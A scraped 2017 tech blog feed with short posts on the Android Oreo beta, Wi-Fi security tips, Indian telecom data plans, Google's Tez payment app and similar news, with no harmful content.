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This will not be the final version however – it will be the beta version and you will also need a phone that is compatible with Android 8.0. Once the final version is ready , the first phones to get this Over-The-Air(OTA) update will be the Google Nexus 6P, Nexus 5X, Pixel and the Pixel XL along with the Pixel C tablet. These phones also have access to the beta as well. Follow the below steps to get the beta version onto your device right now.</div>
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Step 1: The first thing that you’ll need to do, is enroll with Google’s Android Beta program.</div>
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Step 2: Once registered, you’ll need to check if your device supports Android 8.0 by hitting “Enroll Device” under a compatible handset.</div>
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Step 3: Once enrolled, you will need to accept the terms and conditions.</div>
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Step 4: Once that is done, Google will push the update to your device. You should get the update pretty soon but in case this is your first time registering with the Android Beta program, it might take up to 24 hours for Google to push the update to your device.</div>
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Once you get the notification, all you need to do is download and install the update to get Android 8.0 Oreo working on your device. Be warned though, that this is a beta version which means it might have bugs and other issues. We recommend backing up all your data before installing Android 8.0. To leave the program, visit the same page and click Unenroll Device. You will receive another OTA update that will wipe all user data and revert the device back to the latest official version of Android.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-67880598102946204472017-09-21T19:30:00.000+05:302017-09-21T19:30:03.011+05:305 Ways to Secure Wi-Fi Networks<div dir="ltr" style="text-align: left;" trbidi="on">
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Here are Five tips to secure your Wi-Fi network.</h3>
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Wi-Fi is one entry-point hackers can use to get into your network without setting foot inside your building because wireless is much more open to eavesdroppers than wired networks, which means you have to be more diligent about security.</div>
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But there’s a lot more to Wi-Fi security than just setting a simple password. Investing time in learning about and applying enhanced security measures can go a long way toward better protecting your network</div>
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<b>Use an inconspicuous network name (SSID)</b></div>
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The service set identifier (SSID) is one of the most basic Wi-Fi network settings. Though it doesn’t seem like the network name could compromise security, it certainly can. Using a too common of a SSID, like “wireless” or the vendor’s default name, can make it easier for someone to crack the personal mode of WPA or WPA2 security. This is because the encryption algorithm incorporates the SSID, and password cracking dictionaries used by hackers are preloaded with common and default SSIDs. Using one of those just makes the hacker’s job easier.</div>
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(As we discuss later, this vulnerability doesn’t apply to networks using the enterprise mode of WPA or WPA2 security, one of the many benefits of using the enterprise mode.)</div>
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Although it might make sense to name the SSID something easily identifiable, like the company name, address, or suite number, that might not be the best idea either. This is especially true if the network is in a shared building or in close proximity to other buildings or networks. If hackers drive by a congested area and see a dozen different Wi-Fi networks pop-up, they would likely target the one easiest to identify, which could help them understand what they might gain by hacking it. They might also choose one that’s easier to find in a congested area.</div>
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It is possible to turn off SSID broadcast, essentially making the name of your network invisible, but I don’t suggest that. Forcing users to manually enter the SSID, and the negative performance effects of probe requests on the Wi-Fi, typically outweigh the security benefit. And someone with the right tools can still capture the SSID from sniffing other network traffic.</div>
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<b>Remember physical security</b></div>
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Wireless security—or all of IT security for that matter—isn’t all about fancy technologies and protocols. You can have the best encryption possible and still be vulnerable. Physical security is one of those vulnerabilities. Locking down just your wiring closets isn’t enough, either.</div>
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Most access points (APs) have a reset button that someone can press to restore factory default settings, removing the Wi-Fi security and allowing anyone to connect. Thus, the APs distributed throughout your facility need to be physically secured as well to prevent tampering. Ensure they are always mounted out of reach and consider using any locking mechanisms offered by the AP vendor to physically limit access to the AP buttons and ports.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtRr6QYtbrr3Tx-oKvF_vC9m2yayRvIEtc0IfQOaULv-xR8XUPLSF_xzsmL7emTGkNkIN0uXNhIHHAZ9dAlFXKNtQWVSrh_5vTsFGD7ZpXjUyU__eaU3RsigYZsqzBMK9mnViRGH1gaVVc/s1600/wifi+port.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="108" data-original-width="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtRr6QYtbrr3Tx-oKvF_vC9m2yayRvIEtc0IfQOaULv-xR8XUPLSF_xzsmL7emTGkNkIN0uXNhIHHAZ9dAlFXKNtQWVSrh_5vTsFGD7ZpXjUyU__eaU3RsigYZsqzBMK9mnViRGH1gaVVc/s1600/wifi+port.jpg" /></a></div>
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Another physical security concern with Wi-Fi is when someone adds an unauthorized AP to the network, typically called a “rogue AP.” This could be done for legit reasons by an employee wanting to add more Wi-Fi coverage, or for ill-intended purposes by an employee or even an outsider who gains access to the facility. To help prevent these types of rogue APs, ensure any unused ethernet ports (like wall ports or loose ethernet runs) are disabled. You could physically remove the ports or cables, or disable the connectivity of that outlet or cable on the router or switch. Or if you really want to beef up security, enable 802.1X authentication on the wired side, if your router or switch supports that, so any device plugging into the ethernet ports has to enter log-in credentials to gain network access.</div>
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<b>Use Enterprise WPA2 with 802.1X authentication</b></div>
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One of the most beneficial Wi-Fi security mechanisms you can put into place is deploying the enterprise mode of Wi-Fi security, because it authenticates every user individually: Everyone can have their own Wi-Fi username and password. So if a laptop or mobile device is lost or stolen, or an employee leaves the company, all you have to do is change or revoke that particular user’s log-ins.</div>
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(In personal mode, by contrast, all users share the same Wi-FI password, so when devices go missing or employees leave you have to change the password on every single device — a huge hassle.)</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv8KMBwuwaH006BmPYWWydIsryDZGhYDWSeaSFG22igwUUDfvnWj8T_eWSkUe90mM4LS52DxB8jdu6dPlvrlB78fmPDRkmNdfQIqGU0ij6t6qsjD6GmQCbGCnqm5IHWWpnyKr6lRvf4m1m/s1600/003.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="165" data-original-width="300" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv8KMBwuwaH006BmPYWWydIsryDZGhYDWSeaSFG22igwUUDfvnWj8T_eWSkUe90mM4LS52DxB8jdu6dPlvrlB78fmPDRkmNdfQIqGU0ij6t6qsjD6GmQCbGCnqm5IHWWpnyKr6lRvf4m1m/s400/003.jpg" width="400" /></a></div>
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Another great advantage of enterprise mode is that every user is assigned his or her own encryption key. That means users can only decrypt data traffic for their own connection — no snooping on anyone else’s wireless traffic.</div>
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To put your APs into enterprise mode you'll first need to set up a RADIUS server. This enables user authentication and connects to or contains the database or directory (such as Active Directory) that holds everyone’s usernames and passwords.</div>
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Although you could deploy a standalone RADIUS server, you should first check if your other servers (like a Windows Server) already provide this function. If not, consider a cloud-based or hosted RADIUS service. Also keep in mind that some wireless access points or controllers provide a basic built-in RADIUS server, but their performance limits and limited functionality typically make them only useful for smaller networks.</div>
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<b>Secure the 802.1X client settings</b></div>
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Like other security technologies, the enterprise mode of Wi-Fi security still has some vulnerabilities. One of these is man-in-the-middle attacks, with a hacker sitting in an airport or cafe, or even outside in the parking lot of a corporate office. Someone could set up a fake Wi-Fi network with the same or similar SSID as the network they’re trying to imitate; when your laptop or device attempts to connect, a bogus RADIUS server could capture your login credentials. The thief could then utilize your login credentials to connect to the real Wi-Fi network.</div>
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A way to prevent man-in-the-middle attacks with 802.1X authentication is to utilize server verification on the client side. When server verification is enabled on the wireless client, the client won’t pass your Wi-Fi login credentials to the RADIUS server until it verifies it’s communicating with a legit server. The exact server verification capabilities and requirements you can impose on the clients will vary, depending upon the device or OS of the client.</div>
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In Windows, for instance, you can enter the domain name(s) of the legit server, select the certificate authority that issued the server’s certificate, and then choose to not allow any new servers or certificate authorities. So if someone has set up up a fake Wi-Fi network and RADIUS server and you try to log on to it, Windows will stop you from connecting.</div>
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<b>Use rogue-AP detection or wireless intrusion prevention</b></div>
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We’ve already touched on three vulnerable access point scenarios: One where an attacker could set up a fake Wi-Fi network and RADIUS server, another where someone could reset an AP to factory defaults, and a third scenario where someone could plug in their own AP.</div>
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Each of these unauthorized APs could go undetected by IT staff for a long period of time if proper protection isn’t put in place. Thus, it’s a good idea to enable any type of rogue detection offered by your AP or wireless controller vendor. The exact detection method and functionality vary, but most will at least periodically scan the airwaves and send you an alert if a new AP is detected within range of the authorized APs.</div>
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For even more detection capabilities, some AP vendors offer a full-fledged wireless intrusion detection system (WIDS) or intrusion protection system (WIPS) that can sense a range of wireless attacks and suspicious activity along with rogue APs. These include erroneous de-authentication requests, mis-association requests, and MAC address spoofing.</div>
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Furthermore, if it’s a true WIPS offering protection rather than a WIDS offering just detection, it should be able to take automatic countermeasures, such as disassociating or blocking a suspect wireless client to protect the network under attack.</div>
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If your AP vendor doesn’t provide built-in rogue AP detection or WIPS capabilities, consider a third-party solution. You might look at sensor-based solutions that can monitor both Wi-Fi performance and security issues, from companies like 7SIGNAL, Cape Networks, and NetBeez.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-54533491382924598912017-09-20T20:30:00.000+05:302017-09-20T20:30:18.986+05:30BSNL announces new prepaid vouchers: Rs 249 and Rs 429.<div dir="ltr" style="text-align: left;" trbidi="on">
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Rs 249 will get you 28 GB data and Rs 429 to get you 90 GB data</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe2ms4HerrSFUA48KSZbUkWTxzHHDf9Ov40zkMI0Vi9AmUNVTWwXbzGEpLc94QGycB8GIIHF5XNMCMFf3cyoJVfkX9AeaXrpPVnXYnAOcvEVPX-MdjsPmHHvPP35YKcTcySnUBxZGBtTT7/s1600/bsnl.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="BSNL announces new prepaid vouchers: Rs 249 and Rs 429." border="0" data-original-height="168" data-original-width="300" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe2ms4HerrSFUA48KSZbUkWTxzHHDf9Ov40zkMI0Vi9AmUNVTWwXbzGEpLc94QGycB8GIIHF5XNMCMFf3cyoJVfkX9AeaXrpPVnXYnAOcvEVPX-MdjsPmHHvPP35YKcTcySnUBxZGBtTT7/s640/bsnl.png" title="BSNL announces new prepaid vouchers: Rs 249 and Rs 429." width="640" /></a></div>
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BSNL has come out with a new data plan to woo prepaid customers. The new plans are a result of the intensive telecom price wars that we have been seeing off late. The customer is definitely reaping the benefits as it gives one access to large data bandwidths as compared to say a couple of years ago. These offers are also in line with the approaching festive season.</div>
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Bharat Sanchar Nigam Limited has announced a special prepaid recharge coupon worth Rs 249 which comes with both voice and data benefits for users. The special recharge referred to as 'Promotional STV' by BSNL comes with unlimited local and STD calling, BSNL to BSNL voice calling along with 1 GB of data per day for 28 days — effectively giving you 28 GB data for that time frame. However, the voucher will be available only till 25 October, as stated on the state-run operators website.</div>
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BSNL also announced a recharge voucher worth Rs 429 for its users. This recharge voucher for prepaid customers will come with unlimited calling and 1 GB of data per day, lasting up to 90 days.</div>
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This promotional voucher by BSNL places it right into Reliance Jio territory who provide their users up to 1 GB of 4G data and unlimited voice calling for 84 days, at a marginally lower price of Rs 399.</div>
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Prime competitor Airtel also reportedly launched a promotional offer recently allowing its users 60 GB of free 4G data on downloading the Airtel TV app. This came after Airtel revamped prepaid pack offerings ranging from Rs 8 to up to Rs 399. The latest Rs 399 plan from the telecom operator also offers 1 GB of 4G data per day along with unlimited local and STD calls, though this will be available only to select customers.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-38454851095567835242017-09-20T19:30:00.000+05:302017-09-20T19:30:21.012+05:30This developer has created an Android app that can turn your phone into an iPhone X<div dir="ltr" style="text-align: left;" trbidi="on">
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8kVcrDk4_niajfv-6yUdi6H7Wqolvx1-ooXtCNuHQTmJIi3s872EQhdIoOVbVB0NRDOsukP1Xt-fsACI3vK1pCYmc8YMMq3w2zaT19EbPudsVL5Hkru2F0JzK_4FMH7H4_VkobBM1IzBK/s1600/This+developer+has+created+an+Android+app+that+can+turn+your+phone+into+an+iPhone+X.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="This developer has created an Android app that can turn your phone into an iPhone X" border="0" data-original-height="155" data-original-width="325" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8kVcrDk4_niajfv-6yUdi6H7Wqolvx1-ooXtCNuHQTmJIi3s872EQhdIoOVbVB0NRDOsukP1Xt-fsACI3vK1pCYmc8YMMq3w2zaT19EbPudsVL5Hkru2F0JzK_4FMH7H4_VkobBM1IzBK/s400/This+developer+has+created+an+Android+app+that+can+turn+your+phone+into+an+iPhone+X.jpg" title="This developer has created an Android app that can turn your phone into an iPhone X" width="400" /></a></div>
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Want to have your own iPhone X? Try this Android app made by a developer that converts your phone into an iPhone X<br />
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We recently saw Apple Inc. celebrating the 10th anniversary of its first ever iPhone model with the launch of iPhone X. Apple’s CEO Tim Cook at the launch called iPhone X as “the biggest leap forward since the original iPhone” that features radical redesign and new technology.<br />
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The iPhone X is an all-glass (front and back) and stainless steel device with a curved edge-to-edge screen display and the first smartphone from Apple to feature a bezel-less design. Apparently, its top center screen "cutout" design has inspired a developer with the Reddit handle name “damianpiwowarski” so much that he has developed an app that can convert any smartphone into an iPhone X.<br />
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The app is known as “Smartphone upgrader 2017.” To use the app for the conversion process, the smartphone needs to run Lollipop 5 and up. The developer says:<br />
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Current trends in smartphones business are following one idea - smartphones have to bezel less. But all of that fancy stuff like cameras has to go somewhere! And they do, in some sort of a hole or a notch. Without that your phone is so ollldddddddd and uglyyyyyy.<br />
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Once you install the app, it also has an option for Android users to turn it into Essential's PH-1 phone. Installers can also donate, which does nothing but remove ads from the app, according to the developer.<br />
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The Smartphone upgrader 2017 app is available for free on the Google Play Store. However, the app comes with a warning message (see below) on the Play Store page which is in connection to the loud color show that one gets when the phone is set in iPhone X or Essential mode.<br />
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The message reads: "This app may potentially trigger seizures for people with photosensitive epilepsy. Viewer discretion is advised".<br />
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Smartphone upgrader 2017 has been downloaded 1,000 times as of writing and has an overall rating of 4.0 stars. So, what are you waiting for? Try out the app to experience the iPhone X.<br />
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Besides the above app, the developer also has apps such as “Adapticons” and “Navbar Apps” to his credit.</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-74875395552727711462017-09-19T21:30:00.000+05:302017-09-19T21:30:22.016+05:30Google Will Delete Android Backups If not Used Phone For 2 Months.<div dir="ltr" style="text-align: left;" trbidi="on">
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9drVmpGgWqfFgS98UPV_Nfpbpt3dop6MbRzccQa-MzltcITx70WDKwAxH-nWX9aqkxXWGg_j7hfzAt7kc8TBqadjSF6IVupktTAmn4kJF7Aa3Mm8wa9Shyphenhyphenc6pldf12D0KJ8B_xdw_9_oV/s1600/google.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Google Will Delete Android Backups If not Used Phone For 2 Months." border="0" data-original-height="168" data-original-width="299" height="224" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9drVmpGgWqfFgS98UPV_Nfpbpt3dop6MbRzccQa-MzltcITx70WDKwAxH-nWX9aqkxXWGg_j7hfzAt7kc8TBqadjSF6IVupktTAmn4kJF7Aa3Mm8wa9Shyphenhyphenc6pldf12D0KJ8B_xdw_9_oV/s400/google.png" title="Google Will Delete Android Backups If not Used Phone For 2 Months." width="400" /></a></div>
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Google deletes Android user data backup stored on Google Drive if the devices are left unused for two months. Google has been allowing users to save app data offline for many years now. Ever since Google Drive was introduced, Android users can backup app data, call history, device settings, contacts, and calendar data to Google Drive to access their data from a different device.</div>
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A Reddit user Tanglebrook recently discovered that the Android backup for his Nexus 6P was missing from Google Drive. This would not have been the case if Google had notified him. He was not expecting to see his sensitive data gone without his knowledge. The Redditor sent back his phone for a refund and was waiting to find a replacement when Google decided to erase his backup in Google drive. His backup included app data of at least 50 apps, Android settings, and WiFi passwords which he valued the most. Tanglebrook was also paying for 100GB of Google Drive space.</div>
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However, a Google support page does mention that you may see an expiration date below your backup folder if you don’t use your device for two weeks. If this time-frame exceeds 2 months, Google will delete the backup. But there is no use seeing this page after you’ve lost your data as there is no way for you to recover your data.<br />
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Apple also follows a similar policy, and their support page clearly mentions that “If you don’t back up your iOS device to iCloud for 180 days or more, Apple reserves the right to delete your device’s iCloud backups”.<br />
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Google shows no warning about the deletion mechanism when users store a new backup. Google also doesn’t send any email or notification before deleting the backup files. So, if you rely on Google Drive backups, keep an eye on your backup folders. If you have any device backups stored, you can check their expiry date in Google drive.<br />
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-52775003298020414852017-09-19T19:30:00.000+05:302017-09-19T19:30:22.692+05:30Rumors of Google Pixel 2 and Pixel XL 2 features.<div dir="ltr" style="text-align: left;" trbidi="on">
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Google Pixel 2 and Pixel XL 2 features Rumors.</h3>
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Previous Hit of Google pixel this year had a great impact on android users experiencing the best features.Google’s upcoming flagship phones Pixel 2 and Pixel 2 XL are among the most awaited phones this year. It’s been a year since Pixel and Pixel XL released and the hype is still alive. The new devices are code named Walleye and Taimen. Many rumors have started flowing about Google Pixel 2 specifications ahead of its release. So what features of Pixel 2 and Pixel 2 XL are to be expected?Google recently released a teaser video which proposes some interesting questions and could point to the upcoming features we can expect from the new Pixel devices.</div>
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As per resources recent rumors of google Pixel 2 and Pixel XL 2 indicated that the tech giant would be the first to introduce Qualcomm's yet-to-be-announced Snapdragon 836 SoC However, fresh reports now refute this claim stating that Qualcomm is not working on any Snapdragon 836 SoC and that it doesn't exist, at least for now.</div>
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XDA Developers cites its 'very reliable' sources to report that the Snapdragon 836 SoC doesn't exist at all. It claims that the company is currently not working on any such processor, but the source doesn't claim that it won't happen in the future. Qualcomm may very well have a new SoC planned for Q4 2017 and Q1 2018, but the Snapdragon 836 isn't on the table for discussion now.</div>
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Qualcomm, last year, introduced an iterative update to the Snapdragon 820 SoC, and the original Google Pixel devices had the Snapdragon 821 SoC integrated inside. However, it isn't every year that Qualcomm practices this trend, and looks like this year the Snapdragon 835 has done well for itself, and the solid processor doesn't really need an update at all. Even Android Police corroborates the same claim in a separate report, lending more weight that the Pixel 2 and Pixel XL 2 will sport the Snapdragon 835 processor only.</div>
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The Pixel 2 and Pixel XL 2 smartphones are tipped to launch on October 5. The HTC-manufactured Pixel 2 is expected to feature a Edge Sense style frame, the Pixel XL 2 is expected to be made by LG, and sport a bezel-less 18:9 display. Both will reportedly run on Android 8.0.1 Oreo.</div>
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Additionally, the Pixel 2 is expected to come with 64GB and 128GB of built-in storage options and will support NFC, Bluetooth, and 802.11ac Wi-Fi. The smartphone will sport 4GB of RAM and the handsets have also been tipped to sport an 'Always On' display mode. The Pixel 2 and Pixel XL 2 are rumoured to feature a 4.95-inch full-HD and 5.99-inch QHD (1440x2560 pixels) displays that will be manufactured by LG. Furthermore, the Pixels are also expected to drop the 3.5mm headphone jack.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-71739700773838318132017-09-18T20:30:00.000+05:302017-09-18T20:30:24.301+05:30 Indian Facebook user arrested for live streaming sex on his Facebook page.<div dir="ltr" style="text-align: left;" trbidi="on">
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Idukki youth arrested for live-streaming sex on Facebook.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZx4M9xPC2Dy0gH7vuJWxJQsln4YQHodaqi092-cl71MWJTQm_1kOh_m-7hmQYlDwgi3f6HpNcjEuCxZr1H0U2-zS0XWTTW8XZB5QMkQYFtA87rHWihDFeYiGFX-1sl3hxATCdqNX08iVg/s1600/handcliffs.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Indian FB user arrested for livestreaming sex on his Facebook page" border="0" data-original-height="195" data-original-width="260" height="477" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZx4M9xPC2Dy0gH7vuJWxJQsln4YQHodaqi092-cl71MWJTQm_1kOh_m-7hmQYlDwgi3f6HpNcjEuCxZr1H0U2-zS0XWTTW8XZB5QMkQYFtA87rHWihDFeYiGFX-1sl3hxATCdqNX08iVg/s640/handcliffs.jpg" title="Indian FB user arrested for livestreaming sex on his Facebook page" width="640" /></a></div>
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While live streaming explicit NSFW acts on Facebook are quite a common occurrence in the United States of America, in deeply conservative India it is frowned upon. However, there have been instances of revenge p@@n when exes leak images of their girlfriend/boyfriend after a breakup.</div>
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Linu, a 23-year-old Facebook user from Idukki district in Kerala, India become perhaps the first youth to be arrested for live streaming his erotic act with his girlfriend on Facebook. In the U.S. we have had people live streaming almost everything on Facebook including murder. Last year, a 28-year-old man was fatally shot while he was in front of a house with two of his three children and some friends, broadcasting live on Facebook in the North Lawndale neighbourhood in Chicago.</div>
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Coming back to India, Linu said that he live-streamed the erotic acts on his Facebook page to get more ‘likes.’ However, later under interrogation, Linu accepted that he live-streamed the carnal act to exact revenge on his lover whose name was not divulged by the authorities as per Indian laws.</div>
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Linu is a hotel employee in Idduki district and fell in love with the victim after she was estranged from her husband. The youth had befriended the woman, working in an Adimali textile shop, on Facebook. They met several times at her rented accommodation, where she has been living with her child, at Adimali. Police said the woman was aware of Linu recording their sexual acts on his mobile phone. They met again on September 6 and the man went live on Facebook, while having intimate moments with her.</div>
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The erotic video went viral on social media. The victim came to know about the live-streaming and approached the police. The victim alleged that Linu had raped her on false promises of marriage. Her twin sister filed a separate complaint with the police. In this complaint, the twin sister asked the authorities to pressurise Facebook to remove the video as it was affecting her life.</div>
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The police arrested Linu while he was trying to escape to Tamil Nadu. According to the authorities, he came to know that the victim had filed a police complaint against him and decided to flee to his home state of Tamil Nadu where the police arrested him on Friday. He has been charged under IPC 376 (punishment for rape) and relevant sections of the IT Act.</div>
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“The youth said the video was uploaded to get more likes on Face book. But later he said they quarrelled and he live streamed their act to take revenge on her. He was unaware of the consequences of his act,” Investigating officer K Babu told the media persons. Babu also added that they had requested Facebook to remove the damning video based on the victim’s sister’s complaint. Babu said that the police have also found several videos of Linu and the victim on his mobile phone.</div>
<div>
<br /></div>
<div>
Linu’s video has been copied from Facebook and is going viral on WhatsApp and other messaging Apps.</div>
</div>
</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-51444444177422730082017-09-18T19:30:00.000+05:302017-09-18T19:30:05.555+05:30Google Launched new payment App for India uses sound to transfer money Named "Tez"<div dir="ltr" style="text-align: left;" trbidi="on">
Googles new payment app Named "TEZ" works on any phone with a mic and speaker.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaN8VJDZKT8RMw7ra6aix3mLsSKrrJJTPExfQWp1M7UiXmhIB5ocLZMrUu8f_Dil4rAkx2GnBxE3MpFbN5FE8T06UmwIK4OGuOJ5Jmo9OKHMMNcxq7DJ01xYrAr2thbzt2eE43QgCaOEdg/s1600/google+Tez.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Google Launched new payment App for India uses sound to transfer money Named "Tez"" border="0" data-original-height="498" data-original-width="840" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaN8VJDZKT8RMw7ra6aix3mLsSKrrJJTPExfQWp1M7UiXmhIB5ocLZMrUu8f_Dil4rAkx2GnBxE3MpFbN5FE8T06UmwIK4OGuOJ5Jmo9OKHMMNcxq7DJ01xYrAr2thbzt2eE43QgCaOEdg/s1600/google+Tez.jpg" title="Google Launched new payment App for India uses sound to transfer money Named "Tez"" /></a></div>
<br />
Google has launched a new payment app in India called Tez (the Hindi word for “fast”). Tez features a technology called audio QR that allows users to transfer money using sounds to pair two devices. Called the “cash mode option,” phones negotiate's a connection using audio to identify the payer and payee. (The sounds should be inaudible to human ears though because they’re sent using ultrasonic frequencies, according to the Financial Times.) The feature is similar to cash transactions which don’t require the exchange of personal details like bank accounts and phone numbers. Cash Mode works on any phone containing a mic and speaker and Googles Tez app installed, and doesn’t require an NFC chip. Google’s Audio QR technology is similar to Chirp, which also sends data encoded in ultrasonic audio.<br />
<br />
There are 300 million smartphone users in India, and phones with NFC are still relatively rare and expensive, with many users instead favoring entry-level and mid-tier devices. Tez is a step beyond Android Pay, because it allows users to link payment apps from Indian banks — it works with all of the country’s 55 banks on India’s Unified Payments Interface (UPI). UPI is a system that allows numerous bank accounts to be linked into one mobile app, and enables secure peer-to-peer payment. According to Bloomberg, digital transactions have surged after the Indian Government banned high-value cash notes late last year.<br />
<br />
Tez also facilitates bank-to-bank payments and is protected by Tez Shield, a data security platform from Google that detects fraud and protects user identity. Tez behaves like a chat app, using your contact list as a way to keep transaction history organized. People or businesses you’ve sent or received cash from grouped together “like a conversation,” Google says.<br />
<br />
The company says small businesses can also use the app to accept payments into their bank accounts, and it also accepts payments from mobile sites with “just a few taps.” Tez is available on both Android and iOS, and Google plans to release the app in other emerging countries including Vietnam, Indonesia, and Thailand.<br />
<br /></div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-9109446239803889252017-09-17T20:01:00.001+05:302017-09-18T10:10:36.335+05:30Airtel is offering free 60 GB 4G data to its users for downloading Airtel TV app<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb3C8bsCoseehuvzCKzvg0EfRElzcNqCibcH4X9u3B6bFPFxxf9gF2JDEgWBHQ66Nb92_URO7m0cMLunx8xGBrFOcZAI3RMh9qC5xDv9UApfrtwy4mnCbG3vl8xjLnzNTMcMDbw4sa3f8W/s1600/airtel.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Airtel is offering free 60 GB 4G data to its users for downloading Airtel TV app" border="0" data-original-height="112" data-original-width="450" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb3C8bsCoseehuvzCKzvg0EfRElzcNqCibcH4X9u3B6bFPFxxf9gF2JDEgWBHQ66Nb92_URO7m0cMLunx8xGBrFOcZAI3RMh9qC5xDv9UApfrtwy4mnCbG3vl8xjLnzNTMcMDbw4sa3f8W/s1600/airtel.png" title="Airtel is offering free 60 GB 4G data to its users for downloading Airtel TV app" /></a></div>
<br />
Airtel, one of the top telecom players in the Indian telecom industry is working to improve its offerings to its consumers. With competition announcing better and more competitive offers, Airtel is introducing revamping its existing offers to match its rivals. The company is now offering 60 GB free 4G data for its subscribers who download ‘Airtel TV’ app on their device.<br />
<br />
One thing to note here is that this offer is only applicable for postpaid users so it won’t work for prepaid users. This bonus data offer comes in place of 30 GB free 4G data as reported by The Economic Times. According to the plan, Airtel will offer 10 GB 4G data free per month for coming six months.<br />
<br />
Interested postpaid Airtel users can download the ‘MyAirtel’ app from iOS or Android and tap on the display advertisement banner on the top area of the app to avail this offer. After tapping on the advertisement, follow the instructions on the screen to download the app.<br />
<br />
This comes weeks after the company announced a revamp of its data offerings. Under the revamp, the telecom giant provided an impressive range of data packs from Rs. 8 all the way till Rs. 399 for its prepaid users.</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-58123139195046947262017-09-17T20:00:00.000+05:302017-09-17T20:00:03.470+05:30Ultimate C Programming Cheat Sheet<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="text-align: left;">
C Programming Cheat Sheet</h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBXglEle_g6w6Ze7eJTRhTUbIDUYN42T3eabgC_wGF_x_Xgm4V6QMYKPfSU3y1E-mYxBrzFAVU96F3PcFY3cnAlkKy_1544bhIJPtNFQrLb6U3aCOT3VX2R7F74UjIQEj6wfES4g4_ZTlH/s1600/c.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Ultimate C Programming Cheat Sheet" border="0" data-original-height="330" data-original-width="690" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBXglEle_g6w6Ze7eJTRhTUbIDUYN42T3eabgC_wGF_x_Xgm4V6QMYKPfSU3y1E-mYxBrzFAVU96F3PcFY3cnAlkKy_1544bhIJPtNFQrLb6U3aCOT3VX2R7F74UjIQEj6wfES4g4_ZTlH/s1600/c.jpg" title="Ultimate C Programming Cheat Sheet" /></a></div>
<br />
What is C Program?<br />
<br />
C is a general-purpose, imperative computer programming language, supporting structured programming, lexical variable scope and recursion, while a static type system prevents many unintended operations. By design, C provides constructs that map efficiently to typical machine instructions, and therefore it has found lasting use in applications that had formerly been coded in assembly language, including operating systems, as well as various application software for computers ranging from supercomputers to embedded systems.<br />
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<h1 style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 24px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
1.Header Files.</h1>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
